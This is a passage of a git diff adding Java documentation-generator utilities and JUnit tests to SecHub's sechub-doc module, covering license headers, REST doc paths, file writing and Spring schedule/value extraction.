clazz) { + if (Proxy.isProxyClass(clazz)) { + Class[] interfaces = clazz.getInterfaces(); + if (DEBUG) { + LOG.info("Found proxy {} has interfaces:{}", clazz, Arrays.asList(interfaces)); + } + clazz=(Class) interfaces[0]; + } + return clazz; + } +} diff --git a/sechub-doc/src/main/java/com/daimler/sechub/docgen/util/LicenseHeaderProvider.java b/sechub-doc/src/main/java/com/daimler/sechub/docgen/util/LicenseHeaderProvider.java new file mode 100644 index 0000000000..936d301731 --- /dev/null +++ b/sechub-doc/src/main/java/com/daimler/sechub/docgen/util/LicenseHeaderProvider.java @@ -0,0 +1,36 @@ +package com.daimler.sechub.docgen.util; + +import java.io.File; + +public class LicenseHeaderProvider { + + public static final String LICENSE_SPDX_IDENTIFIER="SPDX-License-Identifier: MIT"; + + public String getLicenseHeader(String text, File file) { + if (file==null) { + return null; + } + if (text==null) { + return null; + } + String name = file.getName(); + if (isAsciidoc(name)) { + return "// "+LICENSE_SPDX_IDENTIFIER; + }else if (isPlantuml(name)) { + if (text.trim().startsWith("@startuml")){ + return "// "+LICENSE_SPDX_IDENTIFIER; + } + else return "' "+LICENSE_SPDX_IDENTIFIER; + } + return null; + } + + private boolean isPlantuml(String name) { + return name.endsWith(".puml")|| name.endsWith(".plantuml"); + } + + private boolean isAsciidoc(String name) { + return name.endsWith(".adoc")|| name.endsWith(".asciidoc"); + } + +} diff --git a/sechub-doc/src/main/java/com/daimler/sechub/docgen/util/ReflectionsFactory.java b/sechub-doc/src/main/java/com/daimler/sechub/docgen/util/ReflectionsFactory.java new file mode 100644 index 0000000000..73450845c9 --- /dev/null +++ b/sechub-doc/src/main/java/com/daimler/sechub/docgen/util/ReflectionsFactory.java @@ -0,0 +1,43 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.docgen.util; + +import java.net.URL; +import java.util.Collection; + +import org.reflections.Reflections; +import org.reflections.scanners.FieldAnnotationsScanner; +import org.reflections.scanners.MethodAnnotationsScanner; +import org.reflections.scanners.SubTypesScanner; +import org.reflections.scanners.TypeAnnotationsScanner; +import org.reflections.util.ClasspathHelper; +import org.reflections.util.ConfigurationBuilder; +import org.reflections.util.FilterBuilder; + +public class ReflectionsFactory { + + private ReflectionsFactory() { + + } +/* @formatter:off */ + public static Reflections create() { + Collection forClassLoader = ClasspathHelper.forClassLoader(); + return new Reflections( + new ConfigurationBuilder(). + filterInputsBy(new FilterBuilder(). + includePackage("com.daimler.sechub.*"). + /* exclude JAVA itself*/ + excludePackage("java.*"). + excludePackage("javax.*"). + excludePackage("org.*"). + /* exclude code2doc itself*/ + excludePackage("com.daimler.sechub.docgen") + ). + setUrls(forClassLoader). + setScanners( + new SubTypesScanner(), + new TypeAnnotationsScanner(), + new MethodAnnotationsScanner(), + new FieldAnnotationsScanner())); + } + /* @formatter:on */ +} diff --git a/sechub-doc/src/main/java/com/daimler/sechub/docgen/util/RestDocPathFactory.java b/sechub-doc/src/main/java/com/daimler/sechub/docgen/util/RestDocPathFactory.java new file mode 100644 index 0000000000..61195ad601 --- /dev/null +++ b/sechub-doc/src/main/java/com/daimler/sechub/docgen/util/RestDocPathFactory.java @@ -0,0 +1,69 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.docgen.util; + +import java.lang.annotation.Annotation; +import java.util.HashSet; +import java.util.Set; + +import com.daimler.sechub.sharedkernel.usecases.UseCaseRestDoc; + +/** + * Factory to create parts belonging to rest doc. + * + * @author Albert Tregnaghi + * + */ +public class RestDocPathFactory { + public static final String UC_RESTDOC = "uc_restdoc"; + + private static Set alreadyCreatedPathes = new HashSet<>(); + + private RestDocPathFactory() { + + } + + /** + * Creates the name for the link to the rest documentation of the usecase + * + * @param useCase + * @return name + */ + public static String createPath(Class useCase) { + return createPath(useCase, null); + } + + /** + * Creates the name for the link to the rest documentation of the usecase + * + * @param useCase + * @param variant + * a variant or null. A variant is used when same + * usecases got different variants -e.g. on reporting to differ + * between "HTML" and "JSON" output variants... + * @return name + */ + public static String createPath(Class useCase, String variant) { + StringBuilder sb = new StringBuilder(); + + sb.append(UC_RESTDOC); + sb.append("/"); + sb.append(createIdentifier(useCase)); + sb.append("/"); + if (variant == null || variant.isEmpty()) { + sb.append(UseCaseRestDoc.DEFAULT_VARIANT); + } else { + sb.append(variant); + } + String path = sb.toString(); + if (alreadyCreatedPathes.contains(path)) { + throw new IllegalStateException("The path: " + path + + "\nis already created.\n\nThis means that a restdoc test did use this path already - and this is odd!\n\nPlease check if you have accidently copied a testcase and reused path cration for old usecase class!"); + } + alreadyCreatedPathes.add(path); + return path; + } + + public static String createIdentifier(Class useCase) { + return useCase.getSimpleName().toLowerCase(); + } +} \ No newline at end of file diff --git a/sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java b/sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java new file mode 100644 index 0000000000..33dea3e41b --- /dev/null +++ b/sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java @@ -0,0 +1,111 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.docgen.util; + +import java.io.BufferedReader; +import java.io.BufferedWriter; +import java.io.File; +import java.io.FileWriter; +import java.io.IOException; +import java.nio.file.Files; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +public class TextFileWriter { + + private static final Logger LOG = LoggerFactory.getLogger(TextFileWriter.class); + + private LicenseHeaderProvider licenseHeaderProvider; + + public TextFileWriter() { + licenseHeaderProvider = new LicenseHeaderProvider(); + } + + public void addMissingHeaders(File targetFile) throws IOException { + /* read content */ + String origin = read(targetFile); + if (origin.contains(LicenseHeaderProvider.LICENSE_SPDX_IDENTIFIER)) { + /* already contained - ignore*/ + return; + } + /* do save, will add header if necessary */ + save(targetFile, origin, true); + } + + private String read(File file) throws IOException { + StringBuilder sb = new StringBuilder(); + try (BufferedReader br = Files.newBufferedReader(file.toPath())) { + String readLine = null; + boolean notFirstLine=false; + while ((readLine = br.readLine())!=null) { + if (notFirstLine) { + sb.append("\n"); + } + notFirstLine=true; + sb.append(readLine); + } + } + return sb.toString(); + } + + /** + * Save text file, does overwrite existing ones! Adds missing headers + * + * @param targetFile + * @param origin + * @throws IOException + */ + public void save(File targetFile, String origin) throws IOException { + save(targetFile, origin, true); + } + + /** + * Save text file, does overwrite existing ones (when wanted only! Adds missing + * headers when writing and header is necessary + * + * @param targetFile + * @param origin + * @param overwrite + * @throws IOException + */ + public void save(File targetFile, String origin, boolean overwrite) throws IOException { + if (targetFile == null) { + throw new IllegalArgumentException("null not allowed as file!"); + } + String licenseHeader = licenseHeaderProvider.getLicenseHeader(origin, targetFile); + String text; + if (licenseHeader == null) { + text = origin; + } else { + text = licenseHeader + "\n" + origin; + } + + if (targetFile.exists()) { + if (!overwrite) { + LOG.warn("Already existing and 'overwrite' not enabled:" + targetFile); + return; + } + /* + * Use old API and not Files.delete(..) - reason: I want not to accidently + * delete a folder! With old API it is ensured this is only a file not a dir + */ + if (/* NOSONAR */!targetFile.delete()) { + throw new IOException("was not able to delete existing file:" + targetFile); + } + } + + if (!targetFile.exists()) { + File parentFile = targetFile.getParentFile(); + if (!parentFile.exists() && !parentFile.mkdirs()) { + throw new IllegalStateException("Not able to create folder structure for:" + targetFile); + } + if (!targetFile.createNewFile()) { + throw new IllegalStateException("was not able to create new file:" + targetFile); + } + } + try (BufferedWriter bw = new BufferedWriter(new FileWriter(targetFile))) { + bw.write(text); + } + LOG.info("Written:" + targetFile); + } +} diff --git a/sechub-doc/src/test/java/com/daimler/sechub/docgen/AsciidocGeneratorTest.java b/sechub-doc/src/test/java/com/daimler/sechub/docgen/AsciidocGeneratorTest.java new file mode 100644 index 0000000000..55920ec61e --- /dev/null +++ b/sechub-doc/src/test/java/com/daimler/sechub/docgen/AsciidocGeneratorTest.java @@ -0,0 +1,90 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.docgen; + +import static org.junit.Assert.*; +import static org.mockito.ArgumentMatchers.*; +import static org.mockito.Mockito.*; + +import java.io.File; + +import org.junit.Before; +import org.junit.Test; + +import com.daimler.sechub.docgen.spring.ScheduleDescriptionGenerator; +import com.daimler.sechub.docgen.spring.SystemPropertiesDescriptionGenerator; +import com.daimler.sechub.docgen.util.ClasspathDataCollector; +import com.daimler.sechub.docgen.util.TextFileWriter; + +public class AsciidocGeneratorTest { + + private AsciidocGenerator generatorToTest; + + @Before + public void before() throws Exception { + generatorToTest = new AsciidocGenerator(); + generatorToTest.collector = mock(ClasspathDataCollector.class); + generatorToTest.propertiesGenerator = mock(SystemPropertiesDescriptionGenerator.class); + generatorToTest.scheduleDescriptionGenerator=mock(ScheduleDescriptionGenerator.class); + generatorToTest.writer = mock(TextFileWriter.class); + + when(generatorToTest.propertiesGenerator.generate(any())).thenReturn("properties-test"); + when(generatorToTest.scheduleDescriptionGenerator.generate(generatorToTest.collector)).thenReturn("schedule-test"); + } + + @Test + public void system_property_target_file_location_and_name_as_expected() throws Exception { + + /* prepare */ + File parent = new File(System.getProperty("java.io.tmpdir")); + /* execute */ + File target = AsciidocGenerator.createSystemProperyTargetFile(parent); + + /* test */ + assertTrue(target.getName().endsWith("gen_systemproperties.adoc")); + assertEquals(parent, target.getParentFile()); + } + + @Test + public void scheduling_target_file_location_and_name_as_expected() throws Exception { + + /* prepare */ + File parent = new File(System.getProperty("java.io.tmpdir")); + /* execute */ + File target = AsciidocGenerator.createScheduleDescriptionTargetFile(parent); + + /* test */ + assertTrue(target.getName().endsWith("gen_scheduling.adoc")); + assertEquals(parent, target.getParentFile()); + } + + @Test + public void calls_properties_generator_and_saves() throws Exception { + + /* prepare */ + File targetFile = new File("outputfile"); + + /* execute */ + generatorToTest.generateSystemPropertiesDescription(targetFile); + + /* test */ + verify(generatorToTest.propertiesGenerator).generate(any()); + verify(generatorToTest.writer).save(targetFile, "properties-test"); + + } + + @Test + public void calls_schedule_generator_and_saves() throws Exception { + + /* prepare */ + File targetFile = new File("outputfile"); + + /* execute */ + generatorToTest.generateScheduleDescription(targetFile); + + /* test */ + verify(generatorToTest.scheduleDescriptionGenerator).generate(generatorToTest.collector); + verify(generatorToTest.writer).save(targetFile, "schedule-test"); + + } + +} diff --git a/sechub-doc/src/test/java/com/daimler/sechub/docgen/MustBeDocumentedDataCollectorTest.java b/sechub-doc/src/test/java/com/daimler/sechub/docgen/MustBeDocumentedDataCollectorTest.java new file mode 100644 index 0000000000..9bebd3c654 --- /dev/null +++ b/sechub-doc/src/test/java/com/daimler/sechub/docgen/MustBeDocumentedDataCollectorTest.java @@ -0,0 +1,35 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.docgen; + +import static org.mockito.Mockito.*; + +import org.junit.Before; +import org.junit.Test; +import org.reflections.Reflections; + +import com.daimler.sechub.sharedkernel.MustBeDocumented; + +public class MustBeDocumentedDataCollectorTest { + + private MustBeDocumentedDataCollector collectorToTest; + private Reflections reflections; + + @Before + public void before() throws Exception { + reflections = mock(Reflections.class); + collectorToTest = new MustBeDocumentedDataCollector(reflections); + } + + @Test + public void collect_does_fetch_mustbedocumented__on_method_field_and_type_by_reflections() throws Exception { + + /* execute */ + collectorToTest.collect(); + + /* test */ + verify(reflections).getMethodsAnnotatedWith(MustBeDocumented.class); + verify(reflections).getFieldsAnnotatedWith(MustBeDocumented.class); + verify(reflections).getTypesAnnotatedWith(MustBeDocumented.class); + } + +} diff --git a/sechub-doc/src/test/java/com/daimler/sechub/docgen/spring/ListedProfileTest.java b/sechub-doc/src/test/java/com/daimler/sechub/docgen/spring/ListedProfileTest.java new file mode 100644 index 0000000000..26dfe03ba3 --- /dev/null +++ b/sechub-doc/src/test/java/com/daimler/sechub/docgen/spring/ListedProfileTest.java @@ -0,0 +1,24 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.docgen.spring; + +import static org.junit.Assert.*; + +import org.junit.Test; + +public class ListedProfileTest { + + @Test + public void calculateProfileName() { + assertEquals("unknown",ListedProfile.calculateProfileName("application-dev")); + assertEquals("unknown-test-dev",ListedProfile.calculateProfileName("test-dev.properteis")); + + assertEquals("dev",ListedProfile.calculateProfileName("application-dev.properties")); + assertEquals("dev",ListedProfile.calculateProfileName("application-dev.yml")); + assertEquals("dev",ListedProfile.calculateProfileName("application-dev.yaml")); + + assertEquals("",ListedProfile.calculateProfileName("application.properties")); + assertEquals("",ListedProfile.calculateProfileName("application.yml")); + assertEquals("",ListedProfile.calculateProfileName("application.yaml")); + } + +} diff --git a/sechub-doc/src/test/java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGeneratorIntTest.java b/sechub-doc/src/test/java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGeneratorIntTest.java new file mode 100644 index 0000000000..ae808e242d --- /dev/null +++ b/sechub-doc/src/test/java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGeneratorIntTest.java @@ -0,0 +1,39 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.docgen.spring; + +import static org.junit.Assert.*; + +import org.junit.Before; +import org.junit.Test; + +import com.daimler.sechub.docgen.util.ClasspathDataCollector; + +/** + * Necessary because we got an empty generated file + * @author Albert Tregnaghi + * + */ +public class ScheduleDescriptionGeneratorIntTest { + private ScheduleDescriptionGenerator generatorToTest; + + @Before + public void before() throws Exception { + generatorToTest = new ScheduleDescriptionGenerator(); + } + + @Test + public void ensure_schedule_description_is_not_an_empty_text() throws Exception { + + /* prepare */ + + /* execute */ + String text = generatorToTest.generate(new ClasspathDataCollector()); + + /* test */ + /* FIXME Albert Tregnaghi, 2018-01-11: with JDK 8 it works with JKD10 this does not work !*/ + assertFalse(text.isEmpty()); + + } + + +} diff --git a/sechub-doc/src/test/java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGeneratorTest.java b/sechub-doc/src/test/java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGeneratorTest.java new file mode 100644 index 0000000000..5231091f2a --- /dev/null +++ b/sechub-doc/src/test/java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGeneratorTest.java @@ -0,0 +1,119 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.docgen.spring; + +import static org.junit.Assert.*; +import static org.mockito.Mockito.*; + +import java.util.ArrayList; +import java.util.Collections; +import java.util.List; + +import org.junit.Before; +import org.junit.Test; +import org.springframework.scheduling.annotation.Scheduled; + +import com.daimler.sechub.docgen.DocAnnotationData; +import com.daimler.sechub.docgen.util.ClasspathDataCollector; + +public class ScheduleDescriptionGeneratorTest { + + private ScheduleDescriptionGenerator generatorToTest; + private ClasspathDataCollector collector; + + @Before + public void before() throws Exception { + generatorToTest = new ScheduleDescriptionGenerator(); + + collector = mock(ClasspathDataCollector.class); + } + + @Test + public void even_when_collector_returns_null_result_is_not_null_but_empty() throws Exception { + + /* prepare */ + when(collector.fetchMustBeDocumentParts()).thenReturn(null); + + /* execute */ + String generated = generatorToTest.generate(collector); + + /* test */ + assertNotNull(generated); + assertTrue(generated.isEmpty()); + } + + + @Test + public void when_collector_returns_empty_list_result_is_not_null_but_empty() throws Exception { + + /* prepare */ + when(collector.fetchMustBeDocumentParts()).thenReturn(Collections.emptyList()); + + /* execute */ + String generated = generatorToTest.generate(collector); + + /* test */ + assertNotNull(generated); + assertTrue(generated.isEmpty()); + } + + @Test + public void when_collector_returns_one_entry_but_not_with_spring_value_1_result_is_empty() throws Exception { + + /* prepare */ + DocAnnotationData a = new DocAnnotationData(); + List list = new ArrayList<>(); + list.add(a); + + when(collector.fetchMustBeDocumentParts()).thenReturn(list); + + /* execute */ + String generated = generatorToTest.generate(collector); + + /* test */ + assertNotNull(generated); + assertTrue(generated.isEmpty()); + } + + @Test + public void when_collector_returns_one_entry_with_spring_value_1_result_is_empty() throws Exception { + + /* prepare */ + DocAnnotationData a = new DocAnnotationData(); + a.springValue="${something}"; + a.description="the description"; + List list = new ArrayList<>(); + list.add(a); + + when(collector.fetchMustBeDocumentParts()).thenReturn(list); + + /* execute */ + String generated = generatorToTest.generate(collector); + + /* test */ + assertNotNull(generated); + assertTrue(generated.isEmpty()); + } + + @Test + public void when_collector_returns_one_entry_with_spring_scheduled_a_table_is_build() throws Exception { + + /* prepare */ + DocAnnotationData a = new DocAnnotationData(); + a.springScheduled=mock(Scheduled.class); + when(a.springScheduled.cron()).thenReturn("cronjob"); + List list = new ArrayList<>(); + list.add(a); + + when(collector.fetchMustBeDocumentParts()).thenReturn(list); + + /* execute */ + String generated = generatorToTest.generate(collector); + + /* test */ + assertNotNull(generated); + assertFalse(generated.isEmpty()); + + assertTrue(generated.indexOf("|===")!=-1); + } + +} diff --git a/sechub-doc/src/test/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractorTest.java b/sechub-doc/src/test/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractorTest.java new file mode 100644 index 0000000000..0066f75bfe --- /dev/null +++ b/sechub-doc/src/test/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractorTest.java @@ -0,0 +1,171 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.docgen.spring; + +import static org.junit.Assert.*; +import static org.mockito.Mockito.*; + +import org.junit.Before; +import org.junit.Test; +import org.springframework.scheduling.annotation.Scheduled; + +import com.daimler.sechub.docgen.spring.SpringScheduleExtractor.ScheduleType; + +public class SpringScheduleExtractorTest { + private SpringScheduleExtractor extractorToTest; + private Scheduled annotation; + + @Before + public void before() throws Exception { + extractorToTest = new SpringScheduleExtractor(); + + /* prepare */ + annotation = mock(Scheduled.class); + // mock to defaults as done in original + when(annotation.fixedDelay()).thenReturn(-1L); + when(annotation.fixedRate()).thenReturn(-1L); + when(annotation.initialDelay()).thenReturn(-1L); + } + + @Test + public void scheduled_annotatin_has_no_content_results_in_not_null_but_empty_type_and_definition() { + + /* execute */ + SpringScheduleExtractor.SpringSchedule extracted = extractorToTest.extract(annotation); + + /* test */ + assertNotNull(extracted); + assertEquals("", extracted.getScheduleDefinition()); + assertEquals(ScheduleType.UNDEFINED, extracted.getScheduleType()); + } + + @Test + public void cron_definition_results_in_crontype_and_content() { + /* prepare */ + + when(annotation.cron()).thenReturn("crondata"); + + /* execute */ + SpringScheduleExtractor.SpringSchedule extracted = extractorToTest.extract(annotation); + + /* test */ + assertNotNull(extracted); + assertNotNull(extracted); + assertEquals("crondata", extracted.getScheduleDefinition()); + assertEquals(ScheduleType.CRON, extracted.getScheduleType()); + } + + @Test + public void fixed_delay_1234_definition_results_in_fixed_delay_and_1234_milliseconds() { + /* prepare */ + + when(annotation.fixedDelay()).thenReturn(1234L); + + /* execute */ + SpringScheduleExtractor.SpringSchedule extracted = extractorToTest.extract(annotation); + + /* test */ + assertNotNull(extracted); + assertNotNull(extracted); + assertEquals("fixed delay:1234", extracted.getScheduleDefinition()); + assertEquals(ScheduleType.FIXED, extracted.getScheduleType()); + } + + @Test + public void fixed_delay_string_1234_abc_definition_results_in_fixed_delay_and_1234_abc() { + /* prepare */ + + when(annotation.fixedDelayString()).thenReturn("1234 abc"); + + /* execute */ + SpringScheduleExtractor.SpringSchedule extracted = extractorToTest.extract(annotation); + + /* test */ + assertNotNull(extracted); + assertNotNull(extracted); + assertEquals("fixed delay:1234 abc", extracted.getScheduleDefinition()); + assertEquals(ScheduleType.FIXED, extracted.getScheduleType()); + } + + @Test + public void fixed_rate_1234_definition_results_in_fixed_delay_and_1234_milliseconds() { + /* prepare */ + + when(annotation.fixedRate()).thenReturn(1234L); + + /* execute */ + SpringScheduleExtractor.SpringSchedule extracted = extractorToTest.extract(annotation); + + /* test */ + assertNotNull(extracted); + assertNotNull(extracted); + assertEquals("fixed rate:1234", extracted.getScheduleDefinition()); + assertEquals(ScheduleType.FIXED, extracted.getScheduleType()); + } + + @Test + public void fixed_rate_string_1234_abc_definition_results_in_fixed_delay_and_1234_abc() { + /* prepare */ + + when(annotation.fixedRateString()).thenReturn("1234 abc"); + + /* execute */ + SpringScheduleExtractor.SpringSchedule extracted = extractorToTest.extract(annotation); + + /* test */ + assertNotNull(extracted); + assertNotNull(extracted); + assertEquals("fixed rate:1234 abc", extracted.getScheduleDefinition()); + assertEquals(ScheduleType.FIXED, extracted.getScheduleType()); + } + + @Test + public void initial_delay_12_and_fixed_rate_1234_definition_results_in_fixed_delay_and_1234_milliseconds() { + /* prepare */ + + when(annotation.initialDelay()).thenReturn(12L); + when(annotation.fixedRate()).thenReturn(1234L); + + /* execute */ + SpringScheduleExtractor.SpringSchedule extracted = extractorToTest.extract(annotation); + + /* test */ + assertNotNull(extracted); + assertNotNull(extracted); + assertEquals("initial delay:12 fixed rate:1234", extracted.getScheduleDefinition()); + assertEquals(ScheduleType.FIXED, extracted.getScheduleType()); + } + + @Test + public void initial_delay_string_12_xy_fixed_rate_string_1234_abc_definition_results_in_fixed_delay_and_1234_abc() { + /* prepare */ + + when(annotation.fixedRateString()).thenReturn("1234 abc"); + when(annotation.initialDelayString()).thenReturn("12 xy"); + + /* execute */ + SpringScheduleExtractor.SpringSchedule extracted = extractorToTest.extract(annotation); + + /* test */ + assertNotNull(extracted); + assertNotNull(extracted); + assertEquals("initial delay:12 xy fixed rate:1234 abc", extracted.getScheduleDefinition()); + assertEquals(ScheduleType.FIXED, extracted.getScheduleType()); + } + + @Test + public void initial_delay_string_12_xy_fixed_delay_string_1234_abc_definition_results_in_fixed_delay_and_1234_abc() { + /* prepare */ + + when(annotation.fixedDelayString()).thenReturn("1234 abc"); + when(annotation.initialDelayString()).thenReturn("12 xy"); + + /* execute */ + SpringScheduleExtractor.SpringSchedule extracted = extractorToTest.extract(annotation); + + /* test */ + assertNotNull(extracted); + assertNotNull(extracted); + assertEquals("initial delay:12 xy fixed delay:1234 abc", extracted.getScheduleDefinition()); + assertEquals(ScheduleType.FIXED, extracted.getScheduleType()); + } +} diff --git a/sechub-doc/src/test/java/com/daimler/sechub/docgen/spring/SpringValueExtractorTest.java b/sechub-doc/src/test/java/com/daimler/sechub/docgen/spring/SpringValueExtractorTest.java new file mode 100644 index 0000000000..c8f62d8cd6 --- /dev/null +++ b/sechub-doc/src/test/java/com/daimler/sechub/docgen/spring/SpringValueExtractorTest.java @@ -0,0 +1,95 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.docgen.spring; + +import static org.junit.Assert.*; + +import org.junit.Before; +import org.junit.Test; + +public class SpringValueExtractorTest { + + private SpringValueExtractor extractorToTest; + + @Before + public void before() throws Exception { + extractorToTest = new SpringValueExtractor(); + } + + @Test + public void a_b_c_d_with_default_value_with_https_google_de_contains_default_value_https_gogole_de() { + /* execute */ + String result = extractorToTest.extract("${a.b.c.d:https://www.google.de}").getDefaultValue(); + + /* test */ + assertEquals("https://www.google.de",result); + } + + @Test + public void a_b_c_d_with_default_value_with_https_google_de_contains_key_a_b_c_d() { + /* execute */ + String result = extractorToTest.extract("${a.b.c.d:https://www.google.de}").getKey(); + + /* test */ + assertEquals("a.b.c.d",result); + } + + @Test + public void is_spring_value_returns_expected_values() { + assertTrue(extractorToTest.isSpringValue("${a.bc.d}")); + + assertFalse(extractorToTest.isSpringValue(null)); + assertFalse(extractorToTest.isSpringValue("")); + assertFalse(extractorToTest.isSpringValue("{a.bc.d}")); + assertFalse(extractorToTest.isSpringValue("${a.bc.d")); + assertFalse(extractorToTest.isSpringValue("$a.bc.d}")); + assertFalse(extractorToTest.isSpringValue("a.bc.d")); + } + + + + @Test + public void toDescription_uses_key_and_default_value_when_set() throws Exception { + + /* execute */ + String result = extractorToTest.extract("${a.b.c.d:1234}").toDescription(); + + /* test */ + assertEquals("Key:a.b.c.d, per default:1234",result); + + } + + @Test + public void toDescription_uses_key_and_hint_about_not_optional_value_when_key_set_but_no_default() throws Exception { + + /* execute */ + String result = extractorToTest.extract("${a.b.c.d}").toDescription(); + + /* test */ + assertEquals("Key:a.b.c.d, no default set so must be defined",result); + + } + + + @Test + public void a_b_c_d_colon_1_2_3_extracted() { + /* execute */ + SpringValueExtractor.SpringValue extracted = extractorToTest.extract("${a.bc.d:123}"); + + /* test */ + assertNotNull(extracted); + assertEquals("a.bc.d",extracted.getKey()); + assertEquals("123",extracted.getDefaultValue()); + } + + @Test + public void a_b_c_d_extracted() { + /* execute */ + SpringValueExtractor.SpringValue extracted = extractorToTest.extract("${a.bc.d}"); + + /* test */ + assertNotNull(extracted); + assertEquals("a.bc.d",extracted.getKey()); + assertEquals("",extracted.getDefaultValue()); + } + +} diff --git a/sechub-doc/src/test/java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGeneratorTest.java b/sechub-doc/src/test/java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGeneratorTest.java new file mode 100644 index 0000000000..41fa4802f4 --- /dev/null +++ b/sechub-doc/src/test/java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGeneratorTest.java @@ -0,0 +1,91 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.docgen.spring; + +import static org.junit.Assert.*; +import static org.mockito.Mockito.*; + +import java.util.ArrayList; +import java.util.Collections; +import java.util.List; + +import org.junit.Before; +import org.junit.Test; + +import com.daimler.sechub.docgen.DocAnnotationData; +import com.daimler.sechub.docgen.util.ClasspathDataCollector; + +public class SystemPropertiesDescriptionGeneratorTest { + + private SystemPropertiesDescriptionGenerator generatorToTest; + private ClasspathDataCollector collector; + + @Before + public void before() throws Exception { + generatorToTest = new SystemPropertiesDescriptionGenerator(); + + collector = mock(ClasspathDataCollector.class); + } + + @Test + public void even_when_list_is_null_result_is_not_null_but_empty() throws Exception { + + /* prepare */ + when(collector.fetchMustBeDocumentParts()).thenReturn(null); + + /* execute */ + String generated = generatorToTest.generate(null); + + /* test */ + assertNotNull(generated); + assertTrue(generated.isEmpty()); + } + + + @Test + public void when_param_is_empty_list_result_is_not_null_but_empty() throws Exception { + + /* execute */ + String generated = generatorToTest.generate(Collections.emptyList()); + + /* test */ + assertNotNull(generated); + assertTrue(generated.isEmpty()); + } + + @Test + public void when_list_contains_one_entry_but_not_with_spring_value_1_result_is_empty() throws Exception { + + /* prepare */ + DocAnnotationData a = new DocAnnotationData(); + List list = new ArrayList<>(); + list.add(a); + + /* execute */ + String generated = generatorToTest.generate(list); + + /* test */ + assertNotNull(generated); + assertTrue(generated.isEmpty()); + } + + @Test + public void when_collector_returns_one_entry_with_spring_value_1_a_table_is_build() throws Exception { + + /* prepare */ + DocAnnotationData a = new DocAnnotationData(); + a.springValue="${something}"; + a.description="the description"; + List list = new ArrayList<>(); + list.add(a); + + /* execute */ + String generated = generatorToTest.generate(list); + + /* test */ + assertNotNull(generated); + assertFalse(generated.isEmpty()); + + assertTrue(generated.indexOf("|===")!=-1); + } + +} diff --git a/sechub-doc/src/test/java/com/daimler/sechub/docgen/usecase/UsecaseIdentifierUniqueUsageTest.java b/sechub-doc/src/test/java/com/daimler/sechub/docgen/usecase/UsecaseIdentifierUniqueUsageTest.java new file mode 100644 index 0000000000..8c235b4831 --- /dev/null +++ b/sechub-doc/src/test/java/com/daimler/sechub/docgen/usecase/UsecaseIdentifierUniqueUsageTest.java @@ -0,0 +1,44 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.docgen.usecase; + +import java.util.Map; +import java.util.Set; +import java.util.TreeMap; + +import org.junit.Test; +import org.reflections.Reflections; + +import com.daimler.sechub.docgen.util.ReflectionsFactory; +import com.daimler.sechub.sharedkernel.usecases.UseCaseDefinition; +import com.daimler.sechub.sharedkernel.usecases.UseCaseIdentifier; + +public class UsecaseIdentifierUniqueUsageTest { + + /** + * This test is very important: if two annotations are using the same + * {@link UseCaseIdentifier} as id the documentation will forget the second one! + * So its really important that this is shown by an automated test + */ + @Test + public void usecases_are_using_identifiers_only_one_time_means_unique() { + Reflections reflections = ReflectionsFactory.create(); + + Map map = new TreeMap<>(); + Set> usesCaseAnnotations = reflections.getTypesAnnotatedWith(UseCaseDefinition.class); + for (Class clazz : usesCaseAnnotations) { + UseCaseDefinition def = clazz.getAnnotation(UseCaseDefinition.class); + String enumName = def.id().name(); + String annotationName = clazz.getSimpleName(); + + String foundAnnotationName = map.get(enumName); + if (foundAnnotationName!=null) { + throw new IllegalStateException("Duplicate usage of UseCaseIdentifier found!\n" + + annotationName+" uses identifier enum:"+enumName+"," + + "\n but this id is already used by:\n"+foundAnnotationName); + } + System.out.println(enumName+":"+annotationName); + map.put(enumName, annotationName); + } + } + +} diff --git a/sechub-doc/src/test/java/com/daimler/sechub/docgen/usecase/UsecaseStepsWithRestDocAreDocumentedTest.java b/sechub-doc/src/test/java/com/daimler/sechub/docgen/usecase/UsecaseStepsWithRestDocAreDocumentedTest.java new file mode 100644 index 0000000000..59739c41f6 --- /dev/null +++ b/sechub-doc/src/test/java/com/daimler/sechub/docgen/usecase/UsecaseStepsWithRestDocAreDocumentedTest.java @@ -0,0 +1,189 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.docgen.usecase; + +import static org.junit.Assert.*; + +import java.lang.annotation.Annotation; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.LinkedHashMap; +import java.util.LinkedHashSet; +import java.util.List; +import java.util.Map; +import java.util.Set; + +import org.junit.Test; +import org.reflections.Reflections; +import org.springframework.util.StringUtils; + +import com.daimler.sechub.docgen.util.ReflectionsFactory; +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.usecases.UseCaseDefinition; +import com.daimler.sechub.sharedkernel.usecases.UseCaseRestDoc; + +/** + * This tests that Steps which are annotated as needing rest api documentation + * are really documented. This will prevent to forget documentation tests! + * + * @author Albert Tregnaghi + * + */ +public class UsecaseStepsWithRestDocAreDocumentedTest { + + @Test + public void usecases_having_steps_with_restapi_doc_needed_are_documented_by_restdoc() throws Exception { + /* prepare */ + 